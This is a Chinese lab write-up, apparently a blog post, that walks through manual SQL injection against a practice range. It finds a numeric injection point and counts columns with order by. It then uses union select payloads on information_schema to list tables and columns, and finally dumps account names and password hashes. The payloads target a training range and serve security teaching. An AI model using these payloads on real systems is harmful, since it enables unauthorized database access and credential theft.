Mysql基本注入
实验环境:墨者学院Mysql手工注入漏洞测试靶场
后台源码没有进行任何字符过滤。
首先进入靶场环境
先用admin
登陆试试
果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅
看到这里链接上有id = 1
,怀疑这里会有注入点。
判断注入点
先简单判断是不是字符型注入点,使用单引号闭合语句,注释后面的语句
?id = 1'--+
发现页面有异常,可能不是字符型,再试试数字型注入
?id = 1 and 1 = 1
发现and 1 = 1
没有返回异常,再进一步进行判断
?id = 1 and 1 = 2
页面出现异常,说明这里存在数字型注入点
猜解字段数
发现存在注入点之后使用order by
语句判断字段的数目。
?id=1 order by 3
先试一下是不是3列,发现没有报错,说明至少存在3列,接着猜解。
尝试到5发现报错了,因为字段没有5列,使用order by
时无法根据第5列排序,所以出错,由此判断字段数目是4.
联合查询
因为猜解出来的字段数是4,所以联合查询的语句应该这么写?id=1 union select 1,2,3,4
,但因为这个语句是成立的,为了让页面爆出我们需要的字段,这里就需要构造一个错误的语句,让数据库报错时返回我们需要的信息。
?id=-1 union select 1,2,3,4
可以看到这里页面上爆出了2和3两个数字,说明2和3两个数字对应当前数据表的两个字段会回显到页面上的,这样就可以根据2,3两个回显位查询一些我们需要的信息。
常用的Mysql系统函数有:
version() #MySQL版本 user() #数据库用户名 database() #数据库名 @@datadir #数据库路径 @@version_compile_os #操作系统版本
比如查询当前的数据库名称和当前用户。
?id=-1 union select 1,database(),user(),4
这样我们就成功查询到当前数据库,接着找这个数据库里的数据表。
查询数据表
补充1:数据库关键库
这里需要使用到数据库中一个重要的库information_schema
,这个库下面的schemadata
表中存放着所有数据库的信息,其中schema_name
列中保存着所有数据库名,tables
表中存放着所有数据表的信息,其中table_schema
列存放着数据库名,table_name
列存放着数据表名,columns
表中存放着所有数据表的所有列信息,其中column_name
存放着所有列名,table_name
存放着表名。
补充2:concat函数的用法
1.concat(str1,str2)
将多个结果一行返回。如有任何一个参数为NULL ,则返回值为 NULL。
mysql> select 1,2,3; +---+---+---+ | 1 | 2 | 3 | +---+---+---+ | 1 | 2 | 3 | +---+---+---+ 1 row in set (0.00 sec) mysql> select concat(1,2,3); +---------------+ | concat(1,2,3) | +---------------+ | 123 | +---------------+ 1 row in set (0.00 sec)
2.concat_ws(separator,str1,str2)
concat_ws是concat()的特殊形式。第一个参数是其它参数的分隔符,分隔符可以是一个字符串,也可以是其它参数。
mysql> select concat_ws('~',1,2,3); +----------------------+ | concat_ws('~',1,2,3) | +----------------------+ | 1~2~3 | +----------------------+ 1 row in set (0.00 sec)
3.group_concat完整语法如下,默认使用逗号分隔多个结果:
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()
这样就查询到当前数据库里面有两个数据表,分别为StormGroup_member
,notice
。
查询列名
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询到有这个表有四个字段id
,name
,password
,status
。
查询数据
根据上面查询到的四个字段查询数据
?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member
成功查到账号密码,不过这个密码好像是加密的,先进行解密
使用这个账号密码登陆试试
最后尴尬的一幕出现了(/哭)。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App